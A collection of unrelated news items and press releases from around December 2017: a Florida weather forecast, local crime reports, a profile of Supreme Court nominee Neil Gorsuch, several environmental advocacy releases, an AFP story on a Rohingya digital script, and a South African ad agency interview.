Weak cold front Thursday, few showers possible



SEE BELOW: See our 7-day forecast 

Morning lows will again be mild in the 60s to upper 50s.

The fog will take a few hours to break up, but will slowly lead to partly sunny skies for the afternoon. There will be some areas of sea fog over the Gulf that dont break up all day.

Highs will generally be in the upper 70s to near 80 inland, but near the coast the highs will be cooler in the low to mid 70s.

The main storyline Wednesday night will again be areas of thick fog. Lows will be in the 60s to upper 50s.

Thursday will feature variably cloudy skies with a front getting very close to our area. It will stall near Citrus County.

There will be a couple showers along the front, but otherwise we dont expect significant rain.

Because the front will stall, it wont bring us any cooler air. However, the wind direction will shift on Thursday into Friday, therefore pushing any leftover fog out of the area.

Highs on Thursday will again be near 79.

The warm air will stick around into the weekend, but the newest data is now showing a strong cold front moving through on Christmas day. We'll be watching and fine-tuning the extended forecast.



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A DeLand man is accused of blackmailing a city commissioner with "dirt and info" that would "have u arrested for a very long time" in an attempt to extort money from him.

Jose A. Santiago of DeLand charged with extortion

City commissioner says Santiago tried to blackmail him

Deputies: Commissioner, Santiago involved with woman



"If u listen to me and pay me what I want u wont go to prison," reads an Aug. 11 text message from Jose A. Santiago to City Commissioner Jeff Hunter, Volusia County deputies say. "20 grand it all goes away."

Santiago, 24, was arrested Monday afternoon outside a Space Coast Credit Union in DeLand and has been charged with extortion.

According to Volusia detectives, Hunter went to the Sheriff's Office on Oct. 19 to report that he'd paid a woman he'd been involved with about $15,000 for medical treatments, but he suspected the money went elsewhere. Hunter told deputies that the money likely went to a vehicle and to Santiago, another man with whom the woman was involved.

When Hunter confronted the woman about the money, he said Santiago threatened him and his family, then tried to extort him for more money with text messages saying he had dirt and info that would have u arrested for a very long time, detectives said.

Additional charges are possible, deputies said.
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Update, 12/19/17: A 28-year-old Arkansas man was arrested and charged with attempted robbery, Beaumont Police said Tuesday.

Bryan Bridges, of Little Rock, approached a victim who was inside her car near the main entrance to the mall, BPD said. He opened the door and demanded money, but the victim drove away and called police. She was not injured.

Bridges was located in the 6600 block of Eastex Freeway and arrested.

12/18/17: A man was arrested on Eastex Freeway this morning after he allegedly tried to rob a woman in the parking lot of a Beaumont mall, police said.

A woman had parked near the mall's main entrance around 8:25 a.m. on Monday morning when a man opened her car door and demanded money, Officer Haley Morrow told BeaumontEnterprise.com.

The woman was able to drive away, unharmed, without having given him anything, Morrow said.

The 28-year-old man was later apprehended on Eastex Freeway and is waiting to be booked into the Jefferson County Jail.

MGstalter@BeaumontEnterprise.com

Twitter.com/morgGstalt
A man has been arrested after allegedly leading police on a chase through Port Arthur and across two major bridges, the sheriff's office said.

David Weeks was arrested Monday afternoon and charged with evading arrest in a motor vehicle. He was taken to the Jefferson County jail and held on bonds totaling more than $20K.
After Associate Justice Antonin Scalia died in 2015, the Republican Party was concerned about the replacement. Replacing the conservative judge who concluded that the Constitution was not a living document" was alarming. Some apprehensions were alleviated for the GOP when President Donald Trump tapped Neil Gorsuch.

"Hope you like my nomination of Judge Neil Gorsuch for the United States Supreme Court. He is a good and brilliant man, respected by all," Trump Tweeted.

With a sparkling resume, Gorsuch still has a fight on his hands, regardless of Trump's glowing endorsement. Gorsuch, an American federal appellate judge on the United States Court of Appeals for the Tenth Circuit, will go through the process of the Senate confirmations and will have to prove himself worthy to cynical Democrats.

He has grabbed every brass ring, said David Lat, managing editor of the legal website Above the Law in an interview with the Denver Post. Hes brilliant, conservative and impossible to oppose. Thats a deadly combination for Democrats. Even so, here is what you should know about Neil Gorsuch who could be elected to the high court.

He has an outstanding resume.

He is a proponent of textualism.

He went to school with Barack Obama.

He acknowledged his imperfections.

He wrote a book.

A graduate of Harvard, Oxford and Columbia, Gorsuch was the partner of the law firm Kellogg Huber Hansen Todd Evans & Figel in Washington. He clerked for two Supreme Court justices, Byron White and Anthony Kennedy. He was appointed to the U.S. Court of Appeals for the 10th Circuit in 2006, by President W.George Bush. It was Bush's fifth appointment to the Tenth Circuit. Gorsuch cruised through his last appointment but won't experience the same speedy process as Democrats vowed to challenge Gorsuch's nomination.Gorsuch is a champion of textualism in statutory interpretation and originalism in interpreting the U.S. Constitution. He believes in an originalist interpretation of the Constitution. During his speech at Case Western Reserve University, a private research university in Ohio, he said that there is a difference between judges and legislators. Judges should be in the business of declaring what the law is using the traditional tools of interpretation, rather than pronouncing the law as they might wish it to be in light of their own political views. Gorsuch and Barack Obama both graduated from Harvard Law School in 1991 and they were in the same graduating class. Former U.S. Ambassador to the Czech Republic Norm Eisen was also a classmate and mentioned that Twitter that Gorsuch would be a great pick. "Hearing rumors Trump's likely Supreme Court pick is Neil Gorsuch, my 1991 Harvard Law classmate. If so, a great guy," he Tweeted leading up to the nomination.Standing with his wife Louise after accepting the nomination, Gorsuch said that he's "acutely aware of my own imperfections, I pledge that if I am confirmed I will do all my powers permit to be a faithful servant of the Constitution and laws of this great country." He said it is the job of judges to apply the law, not to alter the law. He continued to explain that a judge who agrees with all outcomes is a bad judge.

Gorsuch wrote a book called The Future of Assisted Suicide and Euthanasia in 2006. It is an overview of the ethical and legal issues raised by assisted suicide and euthanasia. All human beings are intrinsically valuable and the intentional taking of human life by private persons is always wrong, he wrote.

"Gorsuch was in the 5-3 majority that sided with Hobby Lobby and Sisters of the Poor."

He supported Hobby Lobby.

He worked as an adjunct.

Senator Bernie Sanders is not a fan.

He called out Trump.

He quotes Winston Churchill.

Corine Gatti-Santillo is a freelance digital journalist, editor, and content producer. She is also the The Christian Post Voices Editor. She is also a former editor at Beliefnet.com.

Gorsuch supported Hobby Lobby and the Sisters of the Poor in their claim that the provision in the Affordable Care Act stipulates that employers have to pay for employees contraception. This infringes on religious freedom. Gorsuch was in the 5-3 majority that sided with Hobby Lobby and Sisters of the Poor. The case moved to the Supreme Court where it was decided that family-owned business can opt out of the Affordable Care Act if they have religious objections.Gorsuch was an adjunct professor at the University of Colorado Law School and taught Legal Ethics and Professionalism since 2012. He was praised for by liberal students for this demeanor and fairness. The Denver Post reported that student Jordan Henry was impressed by Gorsuch. I think hes dedicated to the truth, to justice, to the justice system. I may not always agree with him but I do think he gives all voices a fair hearing, and thats all you can ask of a judge."Judge Gorsuch must explain his hostility to women's rights, support of corporations over workers and opposition to campaign finance reform," Sanders Tweeted. The comment stems from Gorsuch's ruling in the Hobby Lobby case. The longest independent senator from Vermont is concerned about Gorsuch's thoughts on reproductive rights and campaign finance reform.Gorsuch found that the attacks made by Trump on judges to be "disheartening and demoralizing," according to published reports. Trump blasted the courts for being too political regarding the travel ban he issued by executive order to protect the nation from potential terrorist threats. The travel ban case is pending before a San Francisco-based appeals court. "The courts seem to be political," Trump told a group of sheriffs and police officers.Gorsuch is known to have a reservoir of Winston Churchill quotes he likes to use. One quote, in particular, might be suitable for the Colorado native. Although he never reportedly used the following quote, it's appropriate. "You have enemies? Good. That means you've stood up for something, sometime in your life." The nominee is expected to meet opposition for standing on his principles. Don't be surprised if Democrats delay Gorsuch's nomination and use it as a bargaining chip because of Trump's obnoxious immigration order.Gorsuch is keenly aware of what is at stake if he is confirmed, especially when it comes to religious freedom. He once said that the law doesnt apply to protect only the popular religious beliefs. "It does perhaps its most important work in protecting unpopular religious beliefs, vindicating this nations long-held aspiration to serve as a refuge of religious tolerance."
For Immediate Release, December 19, 2017 Contact: Brett Hartl, (202) 817-8121, bhartl@biologicaldiversity.org Republicans Include Sneak Attack on Endangered Species in Disaster Funding Supplemental WASHINGTON House Republicans introduced an $81 billion emergency funding supplemental this week that includes a provision that exempts the Federal Emergency Management Agency (FEMA) from the requirements of the Endangered Species Act. Section 2029 of the legislation introduced by Rep. Rodney Frelinghuysen (R-N.J.) would allow FEMA to approve and subsidize risky developments in flood-prone areas even if it destroys critical habitat or kills endangered species like sea turtles, Pacific salmon and Florida key deer. This bill would turn FEMA into a disaster-making machine for endangered species, said Brett Hartl, government affairs director at the Center for Biological Diversity. Rep. Frelinghuysens sneak attack on endangered species is shameful, and shows just how far Republicans in Congress will go to advance their anti-wildlife agenda.



Under current law FEMA must consider and mitigate harm caused by developments from flood-prone areas when it provides subsided insurance through the National Flood Insurance Program. In past years the U.S. Fish and Wildlife Service and National Marine Fisheries Service have raised concerns when the National Flood Insurance Program has incentivized development inside areas where endangered species are most vulnerable. Most recently the Fisheries Services concluded that FEMAs implementation of its flood insurance program in Oregon and Washington was putting dozens of species of salmon and the Puget Sound killer whale population in jeopardy of extinction. This legislation would allow FEMA to provide flood insurance regardless of the impacts on any endangered species. In the bizarre world of House Republicans, its endangered species, not climate change, that are the biggest threats to building communities that are resilient to the ever-increasing storms were experiencing. This is a sad, new low for them, said Hartl. The National Flood Insurance Program is tens of billions of dollars in debt. Congress has continued to write off the programs debt despite the unsustainable nature of subsidizing development in the most flood-prone and storm-prone areas.
For Immediate Release, December 18, 2017

Contact: Andrea Santarsiere, (303) 854-7748, asantarsiere@biologicaldiversity.org

British Columbia Bans Grizzly Bear Trophy Hunting as Trump Administration Rubber-stamps Hunts

Loss of Endangered Status Opened Idaho, Montana, Wyoming to Grizzly Hunts

VICTOR, Idaho British Columbias provincial government today announced a decision to prohibit grizzly bear hunting province-wide.

In stark contrast to the provinces decision to protect its estimated 15,000 grizzly bears, the Trump administration in June removed endangered species protections for the roughly 700 bears found in the Greater Yellowstone Ecosystem.

Following the removal of federal protections, Idaho, Montana and Wyoming are now readying for their first grizzly bear trophy hunts since the animals were first listed under the Endangered Species Act in 1975.

Were ecstatic British Columbia has banned cruel trophy hunts for these magnificent animals, said Andrea Santarsiere, a senior attorney with the Center for Biological Diversity. This wise decision highlights the cruel absurdity of the Trump administrations decision to strip protections from imperiled Yellowstone grizzlies. Well keep fighting to prevent the horrific and wasteful practice of hunting grizzly bears in the U.S.

The Center and allies are challenging removal of endangered species protections in court in an effort to stop these hunts and obtain broader recovery for grizzly bears.
For Immediate Release, December 19, 2017

Contact: Laura King, Western Environmental Law Center, (406) 204-4852, king@westernlaw.org

Stuart Ross, Clean Air Task Force, (914) 649-5037, sross@catf.us

Carol Davis, Dine Citizens Against Ruining Our Environment, (928) 221-7859, caroljdavis.2004@gmail.com

Mark Pearson, San Juan Citizens Alliance, (970) 259-3583 x 1, mark@sanjuancitizens.org

Hilary Lewis, Earthworks, (202) 887-1872 x 101, hlewis@earthworksaction.org

Jeremy Nichols, WildEarth Guardians, (303) 437-7663, jnichols@wildearthguardians.org

Jim Murphy, National Wildlife Federation, jmurphy@nwf.org

Michael Saul, Center for Biological Diversity, (303) 915-8308, msaul@biologicaldiversity.org

Mary Flanderka, Wyoming Outdoor Council, (307) 290-0069, maryf@wyomingoutdoorcouncil.org

Natasha Leger, Citizens for a Healthy Community, (970) 399-9700, natasha@chc4you.org

Anne Hedges, Montana Environmental Information Center, (406) 443-2520, ahedges@meic.org

Peter Hart, Wilderness Workshop, (303) 475-4915, peter@wildernessworkshop.org Lawsuit Aims to Halt Trump Administration's Suspension of Methane Pollution Rule SAN FRANCISCO Government watchdog groups today sued the Trump administration for trying to suspend a federal rule aimed at curbing methane waste and pollution. After defeats in court and in Congress, the administration is now attempting to suspend for one year almost all of the requirements of the Methane Waste Prevention Rule, which would reduce waste of publicly owned natural gas by oil and gas companies. Before even receiving comment on the rule, Interior Secretary Ryan Zinke represented to a federal court that he would delay the rule, thoroughly undermining the meaningfulness of public comment. The Bureau of Land Management then conducted a go-through-the-motions notice-and-comment process  featuring a lightning-fast comment period, next-to-no outreach to stakeholders, and culminating in a final rule that largely ignored citizen concerns. But the law requires a reasoned give-and-take between the affected public and the agency that is designed to infuse democratic legitimacy into agency rulemaking. Here, the secretarys closed mind prevented that important give-and-take. Interior's BLM methane waste rule delay flies in the face of overwhelming public support, Congress' recent rejection of an attempt to repeal the rule, a federal courts determination that an injunction halting implementation of the rule was not warranted, and, fundamentally, core precepts of federal law, said Erik Schlenker-Goodrich, executive director of the Western Environmental Law Center. Methane waste seriously and urgently threatens our climate, our pocketbook, and public health. If there was any doubt who Secretary Zinke serves in his position, it's now abundantly clear it's not the American public. The methane waste rule delay is yet another action taken by the Trump administration to benefit the oil and gas industry at the expense of the American public, particularly the millions of Westerners who use public lands for many activities including ranching, hunting, hiking and other forms of outdoor recreation. Those Americans, and others who visit these public lands, are negatively impacted by the oil and gas industrys wasteful practices, said Darin Schroeder, attorney with the Clean Air Task Force, which is co-representing National Wildlife Federation. Oil and gas companies are recklessly dumping massive amounts of methane pollution into our atmosphere, said Michael Saul, a senior attorney with the Center for Biological Diversity. Its wasteful and harmful to public health, and the Trump administration is trying to let them get away with it. The lawsuit aims to hold the Trump administration accountable and prevent it from illegally suspending modest requirements to limit this potent greenhouse gas. The BLM waste rule, finalized in 2016, updates antiquated, 30-year-old regulations. It requires companies to fix leaky, faulty equipment and reduce natural gas waste on public lands. According to the U.S. Government Accountability Office, enough natural gas was unnecessarily wasted and leaked between 2009 and 2015 to serve more than 6 million households for a year. The updated waste rule requires companies to perform leak detection and repair with affordable, off-the-shelf technologies, and restricts methane venting (deliberately releasing gas into the atmosphere), and flaring (burning off gas unused at the wellhead). The Trump administrations decision to delay implementation of the BLM waste rule would allow industry to avoid these common-sense waste reduction measures, and continue to unnecessarily waste our publicly owned resources while the administration attempts to figure out how to kill the rule outright as a gift to its oil and gas benefactors. Methane waste not only shortchanges taxpayers, it harms public health and contributes significantly to climate emissions. Waste: According to Interior, in 2014, oil and gas companies wasted more than 4 percent of the natural gas they produced on federal lands, sufficient gas to supply nearly 1.5 million households with gas for a year.

According to Interior, in 2014, oil and gas companies wasted more than 4 percent of the natural gas they produced on federal lands, sufficient gas to supply nearly 1.5 million households with gas for a year. Public health: Methane released by the oil and gas industry comes packaged with other toxic pollutants  benzene, toluene, ethylbenzene, xylene  and smog-forming volatile organic compounds that harm communities.

Methane released by the oil and gas industry comes packaged with other toxic pollutants  benzene, toluene, ethylbenzene, xylene  and smog-forming volatile organic compounds that harm communities. Climate: Methane is a greenhouse gas 87 times more potent than carbon dioxide during the time it remains in the atmosphere.

Methane is a greenhouse gas 87 times more potent than carbon dioxide during the time it remains in the atmosphere. Taxpayers: The BLM methane waste rule, if left in place, would earn taxpayers about $800 million in royalties on publicly owned methane resources over the next decade. Since 1980 lax provisions have resulted in BLM rubber-stamping industry requests to vent and flare natural gas and to avoid paying royalties. The U.S. Government Accountability Office estimates lost royalties at nearly $23 million annually under the antiquated regime. Notably, the oil and gas industry failed in three prior attempts to derail the rule. In January 2017 a federal judge in the U.S. District Court for the District of Wyoming denied a motion to enjoin the methane rule. In May 2017 the U.S. Senate voted to reject legislation advanced under the Congressional Review Act to eliminate the rule. In October 2017 a federal magistrate judge in the U.S. District Court for the Northern District of California ruled that an attempt by the secretary to stay the rules compliance dates without notice or an opportunity for comment violated the law.
Contact: Noah Greenwald, Center for Biological Diversity, (503) 484-7495, ngreenwald@biologicaldiversity.org

Dr. Myra Crawford, Cahaba Riverkeeper, (205) 410-7163, info@cahabariverkeeper.org For Immediate Release, December 19, 2017 Alabama River Snail Moves Toward Endangered Species Act Protection Once Thought Extinct, Oblong Rocksnails Threatened by Habitat Degradation, Pollution, Climate Change BIRMINGHAM, Ala. In response to a petition from the Center for Biological Diversity and Cahaba Riverkeeper, the U.S. Fish and Wildlife Service announced today that the oblong rocksnail may warrant protection under the Endangered Species Act. The nickel-sized snail is found only in the Cahaba River. It was thought to be extinct for 70 years until it was rediscovered in 2011, but is now at risk of extinction due to pollution. Its great news that the oblong rocksnail is moving toward the Endangered Species Act protection that will make sure its around for generations to come, said Noah Greenwald, endangered species program director at the Center. The Endangered Species Act has been 99 percent effective at preventing the extinction of the plants and animals under its care, so this special snail now has a hopeful future. Oblong rocksnails, with three stripes on their shells and black-and-yellow-striped soft bodies, were driven to near extinction by 1935. The culprit was likely pollution and effluent from expanding agriculture and urban development in the Cahaba River Basin. The snails were officially declared extinct in 2000. The species was rediscovered in 2011, but threats to its survival  including urban sprawl, pollution, sedimentation, small population size, limited range and climate change  threaten its long-term viability. Rocksnails are critical to the health of the Cahaba River ecosystem, one of the most biologically rich freshwater systems in the world, said Myra Crawford, executive director of Cahaba Riverkeeper. We must do everything we can to protect the diversity of this area, because its an underappreciated national treasure. The rivers of the southeastern United States are a global hotspot of both biodiversity and extinction. The region boasts more kinds of freshwater snails, mussels, fishes and crawdads than anywhere else in the world. But dams, human population growth, pollution and invasive species have already caused the extinction of more than 50 species. More than 200 imperiled freshwater species from the Southeast are under review for Endangered Species Act protection. Todays 90-day finding on the petition launches a 30-day public-comment period and a one-year scientific status review. The Fish and Wildlife Service will then either propose protection for the snail, deny protection or add it to the candidate waiting list. Several other species also received positive 90-day findings today, including tricolored bats, severely threatened by the bat epidemic known as white-nose syndrome; sicklefin and sturgeon chubs; Venus flytraps; and leopards.
For Immediate Release, December 18, 2017 Contact: Nathan Donley, (971) 717-6406, ndonley@biologicaldiversity.org Flawed EPA Analysis Rejects Finding That Glyphosate Is a Probable Carcinogen WASHINGTON The U.S. Environmental Protection Agency today released controversial analyses that rely heavily on industry studies to conclude that glyphosate poses no significant risks to humans. The EPA review, which ignored the agencys own guidelines for assessing cancer risks, contradicts a 2015 World Health Organization analysis of published research that determined glyphosate is a probable carcinogen. Glyphosate is the active ingredient in Monsantos Roundup and most widely used pesticide in the world; 300 million pounds of it are used in the U.S. each year. The only way the EPA could conclude that glyphosate poses no significant risks to human health was to analyze industry studies and ignore its own guidelines when estimating cancer risk, said Nathan Donley, a senior scientist at the Center for Biological Diversity. The EPAs biased assessment falls short of the most basic standards of independent research and fails to give Americans an accurate picture of the risks posed by glyphosate use. A federal advisory panel of independent scientists unanimously found earlier this year that in assessing glyphosate the pesticides office at the EPA failed to follow its own guidelines for determining whether a chemical can cause cancer. In the final draft released today, the EPA stated that the guidelines ... are intended as a guidance only  and do not necessarily have to be followed. Scientists typically use previously agreed upon guidelines to prevent biases from swaying the analysis in one direction or another. The chair of the EPA's Cancer Assessment Review Committee, Jess Rowland, resigned in 2015 amid controversy. Emails obtained in litigation brought against Monsanto by cancer victims and their families uncovered a disturbingly cozy relationship between the EPA and Monsanto on matters involving the glyphosate risk assessment. In one example, when the U.S. Department of Health and Human Services announced that it would be reviewing glyphosates safety, Rowland assured Monsanto officials he would work to thwart the review, saying, If I can kill this, I should get a medal. The Health and Human Services review was never conducted. In addition to evaluating the risks of glyphosate to human health, the EPA also analyzed risks to plants and animals and found that serious harms could result from using glyphosate, including that exposure from spray drift could harm the growth and reproduction of birds and mammals. It also found that exposure to small mammals exceeded by 10-fold the agencys level of concern, the exposure level known to cause harm. In its analysis of harms to plants and animals, the EPAs assessment included only four paragraphs on harms to the imperiled monarch butterfly. But it concluded that field buffers up to 600 feet would be needed to prevent harm to milkweed, the sole host plant for monarch caterpillars. Migratory monarch populations have declined by 80 percent in the past two decades, and their decline has been driven in large part by the surge in glyphosate use resulting from the widespread planting of corn and soybeans crops genetically engineered to tolerate glyphosate. Glyphosate is a potent killer of milkweed. The dramatic surge in the glyphosate use has virtually wiped out milkweed plants in the Midwest's corn and soybean fields. There are currently no field buffers in place to protect milkweed and monarchs from glyphosate.
For Immediate Release, December 19, 2017 Contact: Lori Ann Burd, (971) 717-6405, laburd@biologicaldiversity.org EPA to Consider Approving Spraying of Bee-killing Pesticide on 165 Million Acres of U.S. Farmland WASHINGTON The U.S. Environmental Protection Agency will consider allowing the bee-killing pesticide thiamethoxam to be sprayed on the most widely grown crops in the United States. The application, if approved, would allow the highly toxic pesticide to be sprayed directly on 165 million acres of wheat, barley, corn, sorghum, alfalfa, rice and potato. The proposal by the agrochemical giant Syngenta to dramatically escalate use of the harmful neonicotinoid pesticide came last Friday, on the same day the EPA released new assessments of the extensive dangers posed by neonicotinoids, including thiamethoxam. If the EPA grants Syngentas wish, it will spur catastrophic declines of aquatic invertebrates and pollinator populations that are already in serious trouble, said Lori Ann Burd, director of the Center for Biological Diversitys environmental health program. You know the pesticide-approval process is broken when the EPA announces it will consider expanding the use of this dangerous pesticide on the same day its own scientists reveal that the chemical kills birds and aquatic invertebrates. Neonicotinoids have long been known to pose serious harm to bee populations. But the new EPA assessments found the commonly used pesticides can kill and harm birds of all sizes and pose significant dangers to aquatic invertebrates. Thiamethoxam is currently widely used as a seed coating for these crops. This application would allow it to be sprayed directly on the crops, greatly increasing the amount of pesticide that could be used. The just-released aquatic and non-pollinator risk assessment found that the majority of uses of the neonicotinoid on currently registered crops resulted in risks to freshwater invertebrates that exceeded levels of concern  the threshold at which harm is known to occur. The EPA did not assess risks associated with spraying the pesticides on the crops it announced it was considering expanding use to on Friday. But it is likely that increasing the number of crops approved for spraying would dramatically increase that risk. In January the EPA released a preliminary assessment of on-field exposures to thiamethoxam that found all uses of the pesticide  on foliar, soil and seeds  result in exposures that exceed the level of concern for acute and chronic risk to adult bees. But the agency has taken no steps to restrict use of these products and is now considering expanding their use. Despite growing scientific and public concern about neonicotinoids, the application for expanded use of thiamethoxam was not announced by the EPA but quietly posted in the Federal Register. For years the EPA and pesticide companies bragged that by using treated seeds they were avoiding spraying insecticides, and despite the science showing that these treated seeds were deadly to birds, claimed that they were environmentally beneficial, said Burd. But we can expect the Trump EPA to now ignore the risks to birds and bees and approve these ultra-toxic pesticides to be sprayed across hundreds of millions of U.S. acres. Neonicotinoids are a class of pesticides known to have both acute and chronic effects on aquatic invertebrates, honeybees, birds, butterflies and other pollinator species; they are a major factor in overall pollinator declines. These systemic insecticides cause entire plants, including pollen and fruit, to become toxic to pollinators; they are also slow to break down and therefore build up in the environment. A large and growing body of independent science links neonicotinoids to catastrophic bee declines. Twenty-nine independent scientists who conducted a global review of more than 1,000 independent studies on neonicotinoids found overwhelming evidence linking the pesticides to declines in populations of bees, birds, earthworms, butterflies and other wildlife.
TEKNAF, Bangladesh - For decades the Rohingya have been denied recognition in Myanmar but the persecuted minority is close to securing a crucial symbol of their identity - their own unique digital alphabet.

Image credit: Pixabay via Pexels

The language of the stateless Muslim people has been included in the planned upgrade to the Unicode Standard, the global coding system that turns written script into digital characters and numbers.

It would allow the Rohingya to write emails, send texts and post on social media in their own language  a major step for a people who had no written script until the 1980s.

Victims of violent oppression in Myanmar that has been likened to ethnic cleansing, many Rohingya face far more pressing concerns than searching Google or sending a tweet, and most lack not just the technology but the literacy to do so.

But experts say imparting the Rohingya a digital script of their own is hugely symbolic of the recognition and survival of the marginalised people, even if it is not adopted quickly.

"If a people do not have a written language of their own, it is easier to say that as an ethnic group you don't exist," said Mohammad Hanif, who developed the writing system for the Rohingya language in the 1980s.

"It is easier to repress them," the Rohingya madrassa teacher living in Bangladesh told AFP.

This is especially the case with the Rohingya, with Myanmar even refusing to use their name.

Myanmar refers to them as "Bengalis" instead, painting them as interlopers from Bangladesh even though many of them have lived in the country for generations.

Language is part of the issue

Experts say language is part of the issue, with Rohingya speaking a dialect of Bengali understood in Bangladesh's southeastern Chittagong region, but foreign to the Buddhist majority in Myanmar.

The minority group has been driven out of Myanmar's westernmost Rakhine state in waves of systematic violence, most recently in an army campaign that Doctors Without Borders say killed at least 6,700 Rohingya Muslims in its first month.

Nearly 650,000 Rohingya have arrived in Bangladesh since the military crackdown began in August, escaping arson, rape and murder in their homeland.

The Rohingya had no written script until Hanif  an Islamic scholar who fled Rakhine in an earlier surge of violence  began studying the nuances of the language.

Hanif said around 50 books have now been written using the script which is also taught in some faith schools catering to the Rohingya in Malaysia, Pakistan, Saudi Arabia and Canada.

Other attempts at developing a writing system had used Arabic, Urdu and English scripts, the latter known as "Rohingya-lish".

The Unicode Consortium

But "Hanifi Rohingya" may be the one to be encoded by the Unicode Consortium  a nonprofit that oversees the global standardisation of digital characters and numbers.

A representative for the US-based consortium told AFP by email that Hanifi Rohingya was one of the scripts being considered in the next version, but a final decision would be made in February.

If approved, it would allow the global Rohingya diaspora  including, eventually, the more than 800,000 refugees in Bangladesh  to also send messages through chat services like WhatsApp using their digital alphabet.

"(This) legitimises the struggle of the Rohingya language and its much-persecuted people," said Muhammad Noor, a software engineer who built a computer typeface for "Hanifi Rohingya" compatible with word processing, but not online usage.

Translators Without Borders, a nonprofit providing translation services for charities in crisis zones, said the importance of taking the Rohingya language into the digital realm could not be overstated.

"It is revolutionary," the charity's Rebecca Petras told AFP in Cox's Bazar, where the Rohingya camps are located.

"In order for the language to survive, a script is necessary. This would strengthen the language and go a long way to preserve it."

Enormous hurdles

But the denial of education to most Rohingya in Myanmar means many cannot read or write the script, posing enormous hurdles for its survival in cyberspace.

The minority of Rohingya afforded an education in Rakhine were instructed in Burmese, and even religious schools were not permitted to teach the written Rohingya script.

Those seeking to save it from obsolescence are looking to the next generation in makeshift schools across Bangladesh's teeming refugee camps.

More than half the new arrivals since August are children, and experts say unless they learn the written Rohingya script, it will wither away.

Rohingya groups are pushing for its inclusion in schools, but many children are quickly adopting Bengali instead, finding the local language more useful than their mother tongue.

Schools have also focused on Burmese and English, throwing up another roadblock for those fighting for the language's survival.

"The UN schools are our only hope to introduce the written script to half a million children in the camps. But there is no attempt to teach Rohingya language, which is unfair," said Rohingya activist Rafique bin Habib.

Source: AFP via I-Net Bridge.
The true definition of ROI: Return on Investment, Ideas, Insight and Innovation

With six successful years under its belt, House of Brave co-founder and ECD Vanessa Pearson shares what makes them a top-five SA agency with first-rate strategic planning and digital effectiveness, as per Scopen's AgencyScope 2017/18. Hint: its all about broadening the traditional industry definition of ROI.

The House of Brave team. click to enlarge Its been a year of excellent results from House of Brave. Founded by Andrew Shuttleworth, Rob van Rooyen and Vanessa Pearson, these are three industry entrepreneurs who simply believed in a better way, with their philosophy of being brave proving to be something the entire agency rallies around, as they challenge the status quo with strategic and creative intelligence that integrates neuromarketing principles. As a result, they were named by Scopen global president and CEO Cesar Vacchiano as one of the independent SA agencies most successfully providing services within the region, especially sub-Saharan Africa, as well as strong position among South African marketers in the inaugural 2016 Scopen AgencyScope study. A view of independent agencies in South Africa By Cesar Vacchiano 4 Apr 2017 This year, House of Brave executive MD and cofounder Andrew Shuttleworth was elected to the Association for Communication and Advertisings (ACA) board of directors for 2017/2018 ACA announces new board 17 Jul 2017 They also sponsored Industry Leader of the Year at #FMAdFocus2017, which went to Robyn de Villiers, chairman and CEO of Burson-Marsteller: Africa. Pearson explains that the agency has sponsored the Industry Leader of the Year for two years in a row, and prior to that, sponsored the New Broom Award as they firmly believe that: We need to highlight, incentivise and recognise those who are making a fundamental difference to the growth, success and creative thinking that drives our industry. Scopen Agency Scope 2017 further highlighted the courage of House of Brave, with the young agency shown to be strongly perceived as innovative and creative around integration; as well as great strength in using research, understanding clients business, understanding the consumer and senior managers getting involved in the accounts, having good professional team and being innovative.In addition, Van Rooyen, Pearson and Shuttleworth were named by marketers and agencies as stand-out professionals in the industry and House of Brave proved itself as a top contender in the areas of research, innovation and understanding both the client business and consumer. According to Johanna McDowell, CEO of IAS and partner for Scopen South Africa: This is high praise from marketers who understand the value of knowledge of this nature intimately. Getting to grips with the Scopen Agency Scope 2017 By Leigh Andrews 22 Nov 2017 Here cofounder Vanessa Pearson, also agency executive creative director, shares more of House of Braves highlights from 2017, as well as the role that the relatively new agency is playing within the industry, by investing in talent and tools to continually improve client satisfaction. Scopen Agency Scope 2017 further highlighted the courage of House of Brave, with the young agency shown to be strongly perceived as innovative and creative around integration; as well as great strength in using research, understanding clients business, understanding the consumer and senior managers getting involved in the accounts, having good professional team and being innovative.In addition, Van Rooyen, Pearson and Shuttleworth were named by marketers and agencies as stand-out professionals in the industry and House of Brave proved itself as a top contender in the areas of research, innovation and understanding both the client business and consumer. According to Johanna McDowell, CEO of IAS and partner for Scopen South Africa: Share the year that was, in light of working with high quality lighthouse brands with emotional resonance, in an industry that constantly pushes the need to up your game. Share the year that was, in light of working with high quality lighthouse brands with emotional resonance, in an industry that constantly pushes the need to up your game.

The world of advertising has truly changed and continues to be reframed at a rapid rate. Not only in terms of channels and the growing demand for fully integrated communications agencies with full-service PR and digital offerings, but also in respect to client expectations for effective delivery and a return on every cent of their ad-spend. HOB has, therefore, become entrenched in this sales-related/results-driven culture and has worked hard at understanding the needs of our clients and how every piece of communication can positively impact their bottom line. #MandelaMonth: Big, brave and true storytelling By Leigh Andrews 12 Jul 2016 With 15 TV commercials under our belt in 12 months, and a consolidation of our digital and PR offerings, 2017 has been a jam-packed and fulfilling year. Were ending with two significant wins, having been awarded the Ascendis Health account, comprising some 40-plus brands; as well as part of the Tiger Brands account, including Perfect Touch, Halls and Roses.

Impressive! Lets touch on the Scopen AgencyScope results in particular, and what it means to be seen as innovative and creative around that current buzzword, integration. Impressive! Lets touch on the Scopen AgencyScope results in particular, and what it means to be seen as innovative and creative around that current buzzword, integration.

We are really pleased and proud of our Scopen results. Bearing in mind that HOB is only six years young, to have been featured, prominently, on a list of established agencies making an impact on the advertising and communications landscape, is quite an accolade.

At Brave, we believe that great ideas are never born out of isolation, but integration.

With the rapid evolution of technology and the fast-changing pace at which the world, and in turn, advertising, is advancing, agencies cannot affordto be at the forefront of innovation if they are to continue delivering effective communication that grows their business.

It is, therefore, a great honour to have been highlighted and recognised in the Scopen report as an innovative agency that delivers creative thinking for our clients. And it is precisely this integration of strategic innovation and creativity that will continue driving our business forward in the future.

Explain your first-rate strategic planning and digital effectiveness in particular. Explain your first-rate strategic planning and digital effectiveness in particular.

Great ideas can only be born out of an understanding of the market, our clients business, their needs and a truly strategic approach that delivers ROI; in which the I stands for investment, insight, ideas and innovation. Our strategic tools and processes are built around creating effectiveness across every touchpoint with our consumers.

At the end of the day, if our creative big ideas do not translate into real returns, our work has failed.

In light of this, our strategic hub, led by Rob van Rooyen, focuses on integrating neuromarketing techniques to ensure that when consumers receive information, they interpret it in a way that achieves positive results for our clients.

Why is it so important for HOB to invest in talent and tools to continually improve client satisfaction? Why is it so important for HOB to invest in talent and tools to continually improve client satisfaction?

